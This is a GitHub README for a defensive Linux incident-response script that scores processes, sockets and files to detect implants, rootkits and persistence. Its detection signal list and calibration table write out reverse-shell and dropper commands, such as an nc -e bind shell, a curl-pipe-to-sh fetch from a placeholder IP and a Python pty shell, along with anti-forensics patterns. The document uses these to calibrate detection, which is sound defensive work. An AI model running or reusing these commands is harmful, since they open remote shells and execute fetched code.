Skip to content

Latest commit

 

History

13 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

linux_forensics

DFIR Linux Sniper v2.3 — a standalone Python live forensics script that cross-references active network connections, in-memory process behavior and on-disk artifacts to surgically detect compromises: C2 channels, fileless malware, LotL (Living off the Land) techniques, rootkits and persistence mechanisms.

Every retained artifact is reported with its SHA256, directly usable as a CTI pivot (VirusTotal, MalwareBazaar, MISP, OpenCTI).


Contents


Design principles

The script is built to be run on a potentially compromised machine, in production, without degrading the crime scene.

Principle Implementation
Zero dependency Python standard library only (os, re, stat, hashlib, ipaddress, argparse, errno, sys, time). No pip install, no external binary called.
In-memory execution No disk writes, no temporary file, no cache. Output goes exclusively to stdout.
Strict read-only Opened with O_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_NOATIME. No signal sent, no module loaded, no network connection emitted.
Explicit consent A detailed warning is displayed, then confirmation is requested before any collection.
Resilience to hostility Symlinks are never followed, FIFOs and devices are never opened, ANSI sequences present in filenames or cmdlines are neutralized before display.

Compatibility: Python ≥ 3.6, any Linux with /proc (tested on kernel 6.x, x86-64). Machine endianness is handled explicitly — the script also works on ARM and big-endian.


Installation

None. Copy the file and run it.

# From a USB drive, a read-only share, or a direct pull
chmod +x linux_forensics.py

For incident response, best practice is to write nothing on the analyzed machine: run the script from a read-only mount and redirect output to a remote collector.

ssh root@target 'python3 -' < linux_forensics.py -- -y --no-color > case-2026-042_target.txt

Usage

Interactive mode (recommended for manual analysis)

sudo python3 linux_forensics.py

The script displays its privilege scope, the warning, then waits for a y/n confirmation. Nothing is read until you confirm.

Non-interactive mode (automated IR, orchestration, SOAR)

sudo python3 linux_forensics.py -y --no-color | tee /mnt/collect/$(hostname)-$(date +%FT%H%M%S).log

The warning is still displayed in both cases. Without a TTY and without -y, the script refuses to start: this is deliberate, so no scan can start from a mismanaged pipe.

Common examples

# Quick triage: network + processes + rootkit, no filesystem walk
sudo python3 linux_forensics.py -y --no-fs

# Exhaustive hunt, including a suspicious application share
sudo python3 linux_forensics.py -y --extra-dir /opt/app --extra-dir /var/lib/tomcat

# Lower the threshold to see everything, including background noise
sudo python3 linux_forensics.py -y --min-score 10 --min-file-score 10

# Quick scan without hashing (loaded host, constrained I/O)
sudo python3 linux_forensics.py -y --no-hash

# Also hash large binaries (default limit: 128 MB)
sudo python3 linux_forensics.py -y --max-file-size 1073741824

Options

Option Effect
-y, --yes Explicit consent, skips the interactive prompt. The warning is still displayed.
--no-color Disables ANSI sequences. Applied automatically if stdout isn't a TTY.
--no-fs Skips step 4 (filesystem hunt).
--no-rootkit Skips step 3 (concealment checks).
--no-hash Hashes no file. Very fast scan, but no CTI pivot.
--min-score N Display threshold for findings. Default: 30.
--min-file-score N Retention threshold for a file artifact before hashing. Default: 25.
--max-file-size N Maximum size hashed, in bytes. Default: 134217728 (128 MB).
--verify-system Checks all system binaries against the package database. Detects a trojanized distribution binary even if it isn't currently running. A few extra seconds of I/O.
--no-pkgcheck Disables all package-database checks (dpkg).
--max-file-findings N File artifacts detailed in the report. Default: 150. Beyond that, a finding states the truncated count.
--max-hash-files N Global cap on hashed files. Default: 2000. Protects CPU and I/O on a noisy tree.
--extra-dir PATH Additional directory to inspect. Repeatable, absolute path required.

All numeric values are defensively bounded: an absurd value (--max-file-size -1) is clamped to a usable value instead of silently producing an empty report.


What the script analyzes

Execution runs in four steps.

Step 1 — Network mapping

Direct read of /proc/net/{tcp,tcp6,udp,udp6}. As root, the tables of all distinct network namespaces are aggregated via /proc/<pid>/net/, which makes a C2 operating from a container visible.

ESTABLISHED, SYN_SENT and LISTEN states (TCP) are kept, as well as UDP sockets. Strictly loopback traffic is discarded, both IPv4 and IPv6.

Step 2 — PID ↔ socket correlation and behavioral scoring

Every process is inspected and scored. Signals looked for:

  • Binary deleted from disk but still running (/proc/<pid>/exe… (deleted)) — a classic of fileless malware.
  • Execution from a memfd — a binary that never touched disk.
  • Execution from a world-writable area (/tmp, /dev/shm, /var/tmp, /run/user…) or a hidden directory.
  • Impersonation of a kernel thread name ([kworker…], [ksoftirqd…]) by a process that has a mapped binary.
  • Offensive command line: /dev/tcp reverse shells, nc -e, socket-oriented Python/Perl/Ruby/PHP one-liners, socat exec:, curl … | sh dropper, base64 -d | sh payload, anti-forensics (history -c, HISTFILE=/dev/null, chattr +i), known Linux miner and malware names, mining pool configuration.
  • Library injection via LD_PRELOAD / LD_AUDIT, with an allowlist of legitimate integrations (snap, NVIDIA, jemalloc, PAM…). Preloaded libraries are themselves hashed.
  • Suspicious content in LD_LIBRARY_PATH, PROMPT_COMMAND, BASH_ENV, ENV, PYTHONSTARTUP.
  • Abnormal kernel capabilities for a non-root process (CAP_SYS_MODULE, CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_BPF, CAP_DAC_READ_SEARCH…).
  • Abnormal privilege elevation: EUID = 0 with RUID ≠ 0 while the binary doesn't carry the setuid bit (legitimate setuid binaries like sudo or pkexec trigger nothing).
  • Traced process (TracerPid ≠ 0, injection or debugging in progress).
  • Isolated network namespace, as a weak, informational signal — a legitimate container shouldn't trigger an alert on its own.

The binary of every retained process is hashed, even when deleted: /proc/<pid>/exe stays readable and is often the only recoverable copy of the implant.

Integrity via the package database. Each process's binary is checked against the fingerprints published by the distribution, read directly from /var/lib/dpkg/info/*.md5sums — no call to dpkg, no external binary, the "zero dependency" constraint holds. Two verdicts matter: MODIFIED (content differs from the package fingerprint, +80) and unpackaged (the file sits in /usr/bin, /usr/lib… but no package claims it). This is what makes an implant dropped into a trusted tree visible — a structural blind spot for path-based rules. dpkg-divert diversions are accounted for. On a non-dpkg host, the check is silently skipped.

By default, in addition to running binaries and SUID files, a light, non-recursive check of /usr/bin, /usr/sbin, /bin, /sbin against the package database is performed on every scan (a few hundred to a few thousand files, marginal cost): it closes the blind spot of an implant dropped directly into one of these directories, with no SUID bit and never executed during the scan. The MODIFIED verdict keeps its full weight there (+80, a rare and unambiguous signal). The unpackaged verdict, however, is weighted lower there (+25, below the default display threshold but retained in the CTI pivot table): on an official Docker image, utilities added by the build tooling rather than by a package (policy-rc.d, pebble, initctl…) are common and legitimate, and flagging them loudly by default would have reintroduced the very noise this scanner is meant to eliminate. --verify-system (see below) extends the check in depth (/usr/lib, /usr/libexec, 2 levels) and keeps full weight (+45) on the unpackaged verdict, consistent with an explicit request for exhaustive verification.

Step 3 — Concealment indicators (rootkit)

  • Hidden processes: walks the PID range with stat() and compares against the /proc listing. A PID that's accessible but absent from the listing reveals getdents() filtering. Double pass and TID collection to rule out processes created during the scan.
  • Hidden kernel modules: discrepancy between /proc/modules and /sys/module (an LKM that removes itself from /proc/modules often stays visible in sysfs).
  • Tainted kernel: "proprietary module", "out-of-tree", "unsigned", "machine check error" flags.
  • TCP sockets with no owning process (root only). This check is automatically dampened if a partial view of /proc is detected — /.dockerenv, container-type cgroup, distinct PID namespace, atypical PID 1 — since legitimate processes outside the namespace then explain the phenomenon.
  • /etc/ld.so.preload present and non-empty: global userland hooking. The file and every referenced library are hashed.

Step 4 — On-disk artifact hunt

Directories inspected, adapted to the privilege level:

/tmp, /var/tmp, /dev/shm, /run/shm, /dev/mqueue, /dev (regular files outside legitimate tmpfs), /run/user/*, /usr/local/{bin,sbin,lib}, /opt, /var/www, /srv, home directories and their hidden subfolders (.config, .local/share, .local/bin, .ssh, .cache, bin…), and persistence points (/etc/cron.*, /var/spool/cron, /etc/profile.d, /etc/update-motd.d).

Retained: ELF binaries, hidden files, executables in temporary areas, SUID/SGID files, names designed for concealment (..., leading or trailing spaces, invisible Unicode characters, imitation of system sockets like .X11-unix), device files outside /dev, and authorized_keys.

Persistence vectors covered: scheduled tasks (cron.*, crontabs, at jobs), systemd units (system, user and generators), XDG autostart and environment.d, shell startup files (.bashrc, .profile, .zshrc, /etc/profile.d…), udev rules, ld.so.conf.d, init.d, apt.conf.d, sudoers.d, authorized_keys.

SUID/SGID sweep of system paths: a SUID binary whose fingerprint matches an interpreter present on the host is a privilege-escalation backdoor regardless of its name (+90). Legitimate SUID binaries — sudo, mount, passwd, pkexec — are claimed by a package and produce no finding.

The content of scripts dropped in temporary areas and of scheduled tasks is analyzed: a plaintext dropper in /tmp is escalated to CRITICAL, not MEDIUM. Scheduled tasks belonging to the distribution (root-owned, not world-writable) that merely call curl or wget don't trigger an alert.

Finally, reference persistence files (/etc/ld.so.preload, /etc/rc.local, /etc/crontab, /etc/sudoers, /etc/hosts.deny) are systematically hashed for comparison against a baseline.

Safety bounds: maximum depth of 6 levels, global budget of 60,000 files walked, cap of 2,000 files hashed, 150 artifacts detailed in the report, per-root cap, no mount-point crossing (network shares are never walked), symlinks never followed, regex engine bounded to 64 KB per file. Every limit hit produces an explicit finding rather than a silent truncation.


Understanding the output

Findings

[CRITICAL] PID 543 (.pysrv) — score 140
    PPID        : 1   UID : 0
    Binary      : /tmp/.cache-x/.pysrv
    Cmdline     : /tmp/.cache-x/.pysrv /tmp/.cache-x/.listener.py
    Connection  : TCP LISTEN 0.0.0.0:41414 -> 0.0.0.0:0
    Reason (+55): Execution from a world-writable area: /tmp/.cache-x/.pysrv
    Reason (+70): Library injection via LD_PRELOAD=/tmp/.cache-x/libevil.so
    Reason (+15): Listening socket exposed outside loopback (backdoor?)
    SHA256      : 8295ee25…4f42  (binary of PID 543 (ELF))

Every Reason line shows the exact weight added to the score, which makes the verdict auditable: you see precisely why an object was flagged, and you can dismiss a signal you consider normal in your environment.

Findings are grouped by category: ROOTKIT, PROCESS, FILE, PERSISTENCE, and sorted by descending score.

CTI pivot table

The report ends with the deduplicated list of collected fingerprints, in SHA256␣␣path format — directly copyable into a threat intelligence tool or a retrohunt search.

==============================================================================
  COLLECTED SHA256 FINGERPRINTS (CTI pivot)
==============================================================================
Includes artifacts retained below the display threshold: submit the full set
to CTI sources before drawing a conclusion.
8295ee25cfdb239f3e165afceda7f46de73e2b606ff0e2e3d8623e3facd30acc  /tmp/.cache-x/.pysrv
                                                                  ELF artifact

This table deliberately includes artifacts below the display threshold: an apparently innocuous file can be an implant known to CTI databases.

Summary footer

Duration: 0.2s | Files hashed: 15 (31MB) | Reads denied: 3
O_NOATIME opens: 803 | Fallback without O_NOATIME (atime modified): 0

The fallback counter tells you exactly how many atimes were modified during collection — information worth logging in your incident notes.


The scoring engine

The script doesn't apply binary rules: every signal contributes a weight, and an object is only reported above a threshold. This is the core mechanism for reducing false positives.

Score Level Reading
≥ 70 CRITICAL A signal that's very rarely legitimate on its own, or a converging cluster. Investigate immediately.
50–69 HIGH Strongly abnormal, context to validate.
30–49 MEDIUM To correlate with the rest of the report and the host baseline.
< 30 INFO Not shown by default, but the fingerprint stays in the CTI table.

Verified calibration examples:

Command line Score
curl -s https://deb.example.org/key.gpg -o /etc/apt/key.gpg 0
nc -z 10.0.0.1 443 0
python3 -c "import sys; print(sys.version)" 0
python3 -c "import subprocess…" 25 (below threshold)
python3 -c "…socket…os.dup2…pty.spawn…" 60
nc -lvp 4444 -e /bin/bash 65
sh -c "curl -s http://1.2.3.4/a.sh | sh" 70

Adjust --min-score to your needs: lower it for targeted investigation, raise it for fleet-wide sweeps.


False positives handled

Scoring alone isn't enough: some perfectly legitimate Linux mechanisms look exactly like a compromise. The following cases were encountered in real conditions and are neutralized at the source.

Legitimate case Why it looked like an attack Handling
sudo, su, pkexec, fusermount3, mount, ping RUID ≠ EUID = 0 This is the setuid mechanism itself. The rule only fires if the binary doesn't carry the setuid bit — the genuinely abnormal case (elevation obtained some other way).
xfsettingsd, mdadm, mdmon, watchdogd The name starts like a kernel thread (xfs, md, watchdog) A kernel thread is recognized by its actual form: a name containing / (kworker/0:1, jbd2/sda1-8), an exact fixed name (kthreadd, kswapd0), or a leading bracket. No more bare prefix matching.
/run/user/<uid>/systemd/inaccessible/{chr,blk,…} Device nodes outside /dev Allowlisted: systemd creates these in mode 0000 for InaccessiblePaths=. A device node elsewhere is still flagged.
IoC lists, cheat sheets, security tools sitting in /tmp The file contains /dev/tcp/, nc -e, HISTFILE=/dev/null A dropper is short and concentrates one or two techniques; a file that stacks all of them is an IoC list. Beyond 4 distinct techniques, the content is no longer scored and the finding says so. The script also excludes itself from its own hunt.
Administrative SUID binaries in /usr/local/bin or /opt SUID bit set Weighted by zone: critical in /tmp, /dev/shm or a hidden path, a simple flag elsewhere (to check against the baseline).
Firefox, Chrome, snapd, NVIDIA, jemalloc (LD_PRELOAD=libmozsandbox.so…) Library injection The library is no longer judged on its name but on the one actually loaded: the relative soname is resolved via /proc/<pid>/maps, then evaluated on its origin, owner and permissions. Under /usr/lib, owned by root and not writable by others = silence. In a temporary area, home, or hidden path = critical, even if the file has since disappeared.
X11/XFCE session files (.X0-lock, .xfsm-ICE-*, .ICEauthority, .pulse-*) Hidden files in /tmp Dismissed if inert: pure data, non-executable, < 64 KB. An ELF or a script bearing one of these names is still flagged.
Docker / LXC containers Isolated network namespace, sockets with no visible owner The isolated namespace is a weak signal (+10). Orphan sockets are automatically dampened if a partial view of /proc is detected, and the finding explains why.
Distribution scheduled tasks (update-motd, apt, certbot) They call curl or wget Two levels: a bare network call in a root-owned, non-world-writable task = ignored; a remote shell, executed decoding, or a reference to /tmp = flagged.

If a legitimate case specific to your fleet still comes up, the Reason (+N) detail shows exactly the rule and its weight: raise --min-score above that weight to dismiss it without losing the rest.


Root vs standard user

The script runs in both cases and clearly announces its scope.

Check Root Standard user
Socket tables of all namespaces ❌ (current namespace only)
PID ↔ socket correlation on all processes Limited to the UID's own processes
Reading environ, exe, fd of other processes
Hidden process detection
Hidden kernel modules, tainted kernel
Ownerless sockets ❌ (skipped, flagged in the output)
File hunt across all home directories Current home only
O_NOATIME ✅ on every file Only on its own files

A root run is significantly more thorough, but a user-level run is still useful when escalation isn't yet authorized by the IR process.


Impact on the analyzed machine

What the script does:

  • It reads /proc, /sys and a bounded set of directories.
  • It uses CPU for SHA256 computation (proportional to the volume hashed, shown at the end of the report).
  • It may update the atime of files read when O_NOATIME isn't available (files you don't own, without CAP_FOWNER). The exact counter is displayed.

What the script never does:

  • Write, create, delete or move a file.
  • Modify a permission, an mtime, a ctime or a size (verified by before/after snapshot).
  • Send a signal, kill a process, load a module.
  • Emit any network connection or send data to a third party.
  • Follow a symlink or open a FIFO / device (no risk of blocking or misdirected read).

Integration into an IR workflow

  1. Before anything else: if volatility matters most, capture RAM and network traffic first. This script reads kernel memory via /proc, it doesn't replace that.
  2. Run the scan, redirecting output off the machine.
  3. Treat the transcript as evidence: it contains cmdlines and potentially sensitive user paths.
  4. Submit the SHA256 table to your CTI sources. An unknown hash doesn't clear a file; a known hash speeds up qualification.
  5. For any CRITICAL finding involving a deleted binary, recover the copy via /proc/<pid>/exe before killing the process — it's often the only surviving copy.
  6. Confirm with a memory acquisition: on a rootkitted host, the kernel can lie to the script.

Known limitations

  • The script trusts the kernel. A sufficiently sophisticated LKM rootkit can falsify /proc, /sys and stat() results. Concealment checks catch rootkits that naively filter getdents() or /proc/modules, not those that hook the entire chain.
  • No memory analysis. No reading of /proc/<pid>/mem, no detection of in-memory code injection or GOT/PLT hooking.
  • No log analysis. No auth.log, no wtmp, no journald, no shell histories.
  • Integrity verification limited to dpkg. RPM, Alpine or immutable hosts aren't covered: the check is then silently skipped and the "implant in a trusted path" blind spot returns.
  • Walk depth bounded to 6 levels: an implant buried deeper in /tmp will be missed. Use --extra-dir on the relevant subdirectory.
  • Kernel rootkits not tested in real conditions. Concealment checks are validated against simulations, not against an actual LKM like Diamorphine or Reptile.
  • Behavioral IoC detection, not signature-based. A custom-compiled implant, launched from a standard system path, with no suspicious environment variable or cmdline, communicating over 443, can slip under the threshold.

Troubleshooting

"Non-interactive standard input and --yes absent: aborting for safety" You ran the script in a pipe or a scheduled task. Add -y.

Lots of "Reads denied" in the summary footer You're running as a standard user. This is expected behavior: objects owned by other UIDs are unreadable. Rerun as root for full coverage.

"SHA256: NOT-COMPUTED (size > limit)" The file exceeds 128 MB. Rerun with --max-file-size above its size.

A "sockets with no owning process" alert on a containerized host The script detects and reports the dampening within the finding itself. Rerun the scan from the host to settle it.

The scan is slow on a file server Use --no-hash for a quick triage, or --no-fs to keep only the network and process analysis.

"Truncated output: N additional artifact(s) not detailed" The tree is noisy (build server, shared /tmp). The highest-scored artifacts are detailed first. Narrow the scope with --extra-dir, raise --min-file-score, or increase --max-file-findings.

"Hash cap reached: N file(s) not hashed" More than 2,000 candidate files. Raise --max-hash-files if you have the machine time, or reduce the scope.

Unreadable ANSI sequences in an output file Add --no-color. Automatic TTY detection covers most cases, but not every terminal configuration.

Releases

Packages

Contributors

Languages